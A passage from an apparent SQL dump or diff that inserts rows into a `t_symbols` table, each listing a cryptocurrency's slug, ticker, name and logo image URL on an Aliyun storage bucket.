'ScudoCash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/scudocash.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3501, 'betking-token', 'BKT', 'BetKing Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/betking-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3502, 'terra-saturn', 'STI', 'TERRA SATURN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/terra-saturn.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3503, 'morningstar', 'MRNG', 'MorningStar', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/morningstar.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3504, 'allmn', 'ALMN', 'AllMN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/allmn.png', NULL); +INSERT INTO `t_symbols` VALUES (3505, 'aurumox', 'AO', 'AurumOx', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aurumox.png', NULL); +INSERT INTO `t_symbols` VALUES (3506, 'mykey', 'KEY', 'MYKEY', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mykey.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3507, 'commercial-vitamins-token', 'VTM', 'Commercial Vitamins Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/commercial-vitamins-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3508, 'alteredstatemachine', 'ASTO', 'Altered State Machine', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/alteredstatemachine.png', NULL); +INSERT INTO `t_symbols` VALUES (3509, 'klaydice', 'DICE', 'Klaydice', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/klaydice.png', NULL); +INSERT INTO `t_symbols` VALUES (3510, 'arte', 'ARTE', 'Artemine', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arte.png', NULL); +INSERT INTO `t_symbols` VALUES (3511, 'cybg', 'CYBG', 'Cybergame', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cybg.png', NULL); +INSERT INTO `t_symbols` VALUES (3512, 'e-chat', 'ECHT', 'e-Chat', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/e-chat.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3513, 'etheroll', 'DICE', 'Etheroll', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/etheroll.png', NULL); +INSERT INTO `t_symbols` VALUES (3514, 'leacoin', 'LEA', 'LeaCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/leacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3515, 'nft', 'NFT', 'nft', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3516, 'qobit', 'QOB', 'Qobit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/ad7894da251d4501a0b2d5a402c5a4a0.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3517, 'sdstoken', 'SDS', 'SDS Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sdstoken.png', NULL); +INSERT INTO `t_symbols` VALUES (3518, 'starcro', 'XSC', 'Starcro', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/starcro.png', NULL); +INSERT INTO `t_symbols` VALUES (3519, 'tombola', 'TBL', 'tombola', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tombola.png', NULL); +INSERT INTO `t_symbols` VALUES (3520, 'sardinechain', 'SDE', 'sardinechain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/SardineChain.png', NULL); +INSERT INTO `t_symbols` VALUES (3521, 'eternode', 'ETE', 'Eternode', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eternode.png', NULL); +INSERT INTO `t_symbols` VALUES (3522, 'small-coin', 'SMA', 'Small Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/small-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3523, 'acepay', 'ACEPAY', 'ACEPAY', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/acepay.png', NULL); +INSERT INTO `t_symbols` VALUES (3524, 'whaleex', 'WAL', 'WAL', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/whaleex.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3525, 'konios', 'KON', 'Konios', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/konios.png', NULL); +INSERT INTO `t_symbols` VALUES (3526, 'bithostcoin', 'BIH', 'BitHostCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bithostcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3527, 'aquila', 'AQX', 'Aquila', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aquila.png', NULL); +INSERT INTO `t_symbols` VALUES (3528, 'kalkicoin', 'KLC', 'Kalkicoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kalkicoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3529, 'victorieum', 'VTM', 'Victorieum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/victorieum.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3530, 'litbinex-coin', 'LTB', 'Litbinex Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litbinex-coin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3531, 'miniswap', 'MINI', 'Mini', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/miniswap.png', NULL); +INSERT INTO `t_symbols` VALUES (3532, 'assembly', 'ASMB', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/assembly.png', NULL); +INSERT INTO `t_symbols` VALUES (3533, 'infinityarena', 'INAZ', 'Infinity Arena', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/infinityarena.png', NULL); +INSERT INTO `t_symbols` VALUES (3534, 'artex-coin', 'ATX', 'Artex Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/artex-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3535, 'bitbase', 'BTBC', 'Bitbase', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitbase.png', NULL); +INSERT INTO `t_symbols` VALUES (3536, 'classic-cash', 'CCC', 'classic-cash', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3537, 'cycling-coin', 'CYC', 'Cycling Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/cyclingcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3538, 'fyc', 'FYC', 'FairyCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fyc.png', NULL); +INSERT INTO `t_symbols` VALUES (3539, 'pechain', 'PEC', 'PE Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pechain.png', NULL); +INSERT INTO `t_symbols` VALUES (3540, 'betrium', 'BTRM', 'Betrium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/betrium.png', NULL); +INSERT INTO `t_symbols` VALUES (3541, 'grandpa-fan', 'FYY', 'GrandPa Fan', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/grandpa-fan.png', NULL); +INSERT INTO `t_symbols` VALUES (3542, 'exhibit-token', 'EXBT', 'Exhibit Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/exhibit-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3543, '4a-coin', '4AC', '4A Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/4a-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3544, '300cubits', 'TEU', '300cubits', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/300cubits.png', NULL); +INSERT INTO `t_symbols` VALUES (3545, 'arthur-chain', 'ARC', 'Arthur Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arthur-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (3546, 'koumei', 'KMC', 'Koumei', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/koumei.png', NULL); +INSERT INTO `t_symbols` VALUES (3547, 'wes-token', 'WES', 'WES Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wes-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3548, 'zombieworldz', 'ZWZ', 'Zombie World Z', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/zombieworldz.png', NULL); +INSERT INTO `t_symbols` VALUES (3549, '18c', '18C', 'Block 18', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/18c.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3550, 'artificial-intelligence-chain', 'AIC', 'artificial-intelligence-chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/artificial-intelligence-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (3551, 'classy', 'CLASSY', 'ClassyCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/classy.png', NULL); +INSERT INTO `t_symbols` VALUES (3552, 'cyder', 'CYDER', 'Cyder', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cyder.png', NULL); +INSERT INTO `t_symbols` VALUES (3553, 'leader', 'LEADER', 'leader', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3554, 'mero', 'MERO', 'Mero', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mero.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3555, 'nianlun-time-token', 'NTT', 'nianlun-time-token', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3556, 'digital-fund-coin', 'DFP', 'Digital Fund Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digital-fund-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3557, 'beetok', 'BTOK', 'BEETOK', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/beetok.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3558, 'glyno', 'GLYNO', 'Glyno', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/glyno.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3559, 'remiit', 'REMI', 'REMIIT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/remiit.png', NULL); +INSERT INTO `t_symbols` VALUES (3560, 'bliss', 'BLS', 'BLISS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bliss.png', NULL); +INSERT INTO `t_symbols` VALUES (3561, 'bitcoinv', 'BTCV', 'Bitcoin Vault', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoinv.png', NULL); +INSERT INTO `t_symbols` VALUES (3562, 'ascension', 'ASN', 'Ascension', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ascension.png', NULL); +INSERT INTO `t_symbols` VALUES (3563, 'kemcredit', 'KMC', 'KemCredit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kemcredit.png', NULL); +INSERT INTO `t_symbols` VALUES (3564, 'work-force-coin', 'WFC', 'Work Force Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/work-force-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3565, 'soda', 'SODA', 'Soda Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/soda.png', NULL); +INSERT INTO `t_symbols` VALUES (3566, 'renft', 'RENT', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/renft.png', NULL); +INSERT INTO `t_symbols` VALUES (3567, 'whalemap', 'WMP', 'Whalemap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/whalemap.png', NULL); +INSERT INTO `t_symbols` VALUES (3568, 'clb', 'CLBK', 'Cloudbric', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/clb.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3569, 'cyfm', 'CYFM', 'CyberFM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cyfm.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3570, 'fysical', 'FYS', 'fysical', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fysical.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3571, 'leafcoin', 'LEAF', 'Leafcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/leafcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3572, 'pecunio', 'PCO', 'Pecunio', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pecunio.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3573, 'took', 'TOOK', 'TOOKTOOK', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/took.png', NULL); +INSERT INTO `t_symbols` VALUES (3574, 'veritag', 'VTAG', 'veritag', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vtag.png', NULL); +INSERT INTO `t_symbols` VALUES (3575, 'mfcc-token', 'MFCC', 'Marsfarmer', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mfcc-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3576, 'lupecoin', 'LUPX', 'Lupecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lupecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3577, '808ta-token', '808TA', '808TA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/808ta-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3578, 'yield-coin', 'YLD', 'Yield Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yield-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3579, 'bankcoin-bcash', 'BCASH', 'BankCoin BCash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bankcoin-bcash.png', NULL); +INSERT INTO `t_symbols` VALUES (3580, 'artfinity-token', 'AT', 'Artfinity', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/artfinity-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3581, 'kinguin-krowns', 'KRS', 'Kinguin Krowns', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kinguin-krowns.png', NULL); +INSERT INTO `t_symbols` VALUES (3582, 'wildlife', 'WILD', 'WildLife', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wildlife.png', NULL); +INSERT INTO `t_symbols` VALUES (3583, 'brinc', 'BRQ', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/brinc.png', NULL); +INSERT INTO `t_symbols` VALUES (3584, 'ethlas', 'ELS', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/ethlas.png', NULL); +INSERT INTO `t_symbols` VALUES (3585, 'arxo', 'ARXO', 'AROREX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arxo.png', NULL); +INSERT INTO `t_symbols` VALUES (3586, 'bitbook-gambling', 'BXK', 'Bitbook Gambling', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitbook.png', NULL); +INSERT INTO `t_symbols` VALUES (3587, 'clc', 'CLC', 'Cifculation', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/clc.png', NULL); +INSERT INTO `t_symbols` VALUES (3588, 'cyg', 'CYG', 'Cygnus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cyg.png', NULL); +INSERT INTO `t_symbols` VALUES (3589, 'e-sports-alliance-chain-coin', 'ESA', 'e-sports-alliance-chain-coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/e-sports-alliance-chain-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3590, 'ethersportz', 'ESZ', 'EtherSportz', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/EtherSportz.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3591, 'fz', 'FZ', 'Frozencoin Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fz.png', NULL); +INSERT INTO `t_symbols` VALUES (3592, 'sdz', 'SDZ', 'SanDianZhong', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sdz.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3593, 'stash', 'STASH', 'BitStash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stash.png', NULL); +INSERT INTO `t_symbols` VALUES (3594, 'zdmt', 'ZDMT', 'zdmt', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zdmt.png', NULL); +INSERT INTO `t_symbols` VALUES (3595, 'proelio', 'PEO', 'Proelio', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/proelio.png', NULL); +INSERT INTO `t_symbols` VALUES (3596, 'bagstoken', 'BAGS', 'BAGS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bagstoken.png', NULL); +INSERT INTO `t_symbols` VALUES (3597, 'lumeneo', 'LMO', 'Lumeneo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lumeneo.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3598, 'elyatel', 'ELYA', 'Elya', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/elyatel.png', NULL); +INSERT INTO `t_symbols` VALUES (3599, 'cedem', 'CDE', 'Cedem', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cedem.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3600, 'zxflea', 'XFLEA', 'zXFLEA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zxflea.png', NULL); +INSERT INTO `t_symbols` VALUES (3601, 'krosscoinwaves', 'KSS', 'Krosscoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/krosscoinwaves.png', NULL); +INSERT INTO `t_symbols` VALUES (3602, 'tronwin', 'WIN', 'TronWin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tronwin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3603, 'salmonswap2', 'SLM', 'SalmonSwap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/salmon-swap.png', NULL); +INSERT INTO `t_symbols` VALUES (3604, 'exchangily', 'EXG', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/exchangily.png', NULL); +INSERT INTO `t_symbols` VALUES (3605, 'pleasrdao', 'PEEPS', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/pleasrdao.png', NULL); +INSERT INTO `t_symbols` VALUES (3606, 'exoticmarkets', 'EXO', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/exoticmarkets.png', NULL); +INSERT INTO `t_symbols` VALUES (3607, 'fusotaoprotocol', 'TAO', 'Fusotao', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/fusotaoprotocol.png', NULL); +INSERT INTO `t_symbols` VALUES (3608, 'clearcoin', 'CLR', 'Clear Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/clearcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3609, 'e-token', 'ET', 'e-token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/e-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3610, 'ledger-bank', 'LBK', 'LBK', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/ledger-bank.png', NULL); +INSERT INTO `t_symbols` VALUES (3611, 'meshbox', 'MESH', 'MeshBox', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/meshbox.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3612, 'niko', 'NIKO', 'NIKO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/niko.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3613, 'gocchain', 'GOC', 'gocchain', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3614, 'fuloos', 'FLS', 'Fuloos', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fuloos.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3615, 'diligence', 'IRA', 'Diligence', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/diligence.png', NULL); +INSERT INTO `t_symbols` VALUES (3616, 'buildteam', 'BUILDTEAM', 'BuildTeam', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/buildteam.png', NULL); +INSERT INTO `t_symbols` VALUES (3617, 'neurodao', 'NDAO', 'NeuroDAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/neurodao.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3618, 'amigacoin', 'AGA', 'AmigaCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/amigacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3619, 'arbitool-token', 'ATT', 'ArbiTool Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arbitool-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3620, 'kitcoin', 'KTC', 'Kitcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kitcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3621, 'wishchain', 'WISH', 'WishChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wishchain.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3622, 'fabcoin', 'FAB', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fabcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3623, 'gnana', 'GNANA', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/apeswap.png', NULL); +INSERT INTO `t_symbols` VALUES (3624, 'dimo', 'DIMO', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/dimo.png', NULL); +INSERT INTO `t_symbols` VALUES (3625, 'fzend-block-chain', 'FZB', 'FZB', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fzend-block-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (3626, 'nilu', 'NILU', 'Nilu', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nilu.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3627, 'lino-network', 'LINO', 'lino-network', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3628, 'socialxbounty', 'SXBT', 'SOCIALXBOUNTY', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/socialxbounty.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3629, 'animalitycoin', 'ANTY', 'AnimalityCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/animalitycoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3630, 'yet-another-bomb', 'YAB', 'Yet Another Bomb', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yet-another-bomb.png', NULL); +INSERT INTO `t_symbols` VALUES (3631, 'armageddon', 'AGDN', 'Armageddon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/armageddon.png', NULL); +INSERT INTO `t_symbols` VALUES (3632, 'lydiancoin', 'LDN', 'LydianCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lydiancoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3633, 'sekopay', 'SEKO', 'SEKOPAY', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sekopay.png', NULL); +INSERT INTO `t_symbols` VALUES (3634, 'africa-trading-chain', 'ATT', 'Africa Trading Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/africa-trading-chain.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3635, 'kyvalion-token-coin', 'KTC', 'Kyvalion', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kyvalion-token-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3636, 'wownero', 'WOW', 'Wownero', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wownero.png', NULL); +INSERT INTO `t_symbols` VALUES (3637, 'nrv-coin', 'NRV', 'NRV Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nrv-coin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3638, 'fuse', 'FUSE', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/fusefi.png', NULL); +INSERT INTO `t_symbols` VALUES (3639, 'banana', 'BANANA', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/banana.png', NULL); +INSERT INTO `t_symbols` VALUES (3640, '22x-fund', '22X', '22x-fund', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3641, 'clf', 'CLF', 'clf', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3642, 'e2c', 'E2C', 'E2C', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/e2c.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3643, 'gac', 'GAC', 'GAChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gac.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3644, 'messengerbank-investment-token', 'MBIT', 'MessengerBank', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/messengerbank-investment-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3645, 'sead', 'SEAD', 'SEADEX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sead.png', NULL); +INSERT INTO `t_symbols` VALUES (3646, 'topaz', 'TOPAZ', 'Topaz Coin', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3647, 'vers', 'VERS', 'Versess Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vers.png', NULL); +INSERT INTO `t_symbols` VALUES (3648, 'xn35', 'XN35', 'Projecton', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xn35.png', NULL); +INSERT INTO `t_symbols` VALUES (3649, 'altmarkets-coin', 'ALTM', 'Altmarkets Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/altmarkets-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3650, 'ctagtoken', 'CTAG', 'CTAGtoken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ctagtoken.png', NULL); +INSERT INTO `t_symbols` VALUES (3651, 'subaj-global-network', 'SBJ', 'Subaj Global Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/subaj-global-network.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3652, 'troya-coin', 'TROY', 'TROYA COIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/troya-coin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3653, 'bitcoin-tron', 'TRON', 'Bitcoin Tron', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-tron.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3654, 'xgoldcoin', 'XGOLD', 'XGOLDCOIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xgoldcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3655, 'advertising-token', 'AVT', 'Advertising Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/advertising-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3656, 'kryptoro', 'KTO', 'Kryptoro', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kryptoro.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3657, 'xblocks', 'XBC', 'XBlocks', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xblocks.png', NULL); +INSERT INTO `t_symbols` VALUES (3658, 'yas-network', 'YAS', 'YAS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yas-network.png', NULL); +INSERT INTO `t_symbols` VALUES (3659, 'dinoland', 'DNL', 'Dinoland', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/dinoland.png', NULL); +INSERT INTO `t_symbols` VALUES (3660, 'bscstoken', 'BSCS', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/bscstation.png', NULL); +INSERT INTO `t_symbols` VALUES (3661, '2345-star-coin', 'STC', '2345 Star Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/2345-star-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3662, 'bitcar', 'BITCAR', 'BitCar', 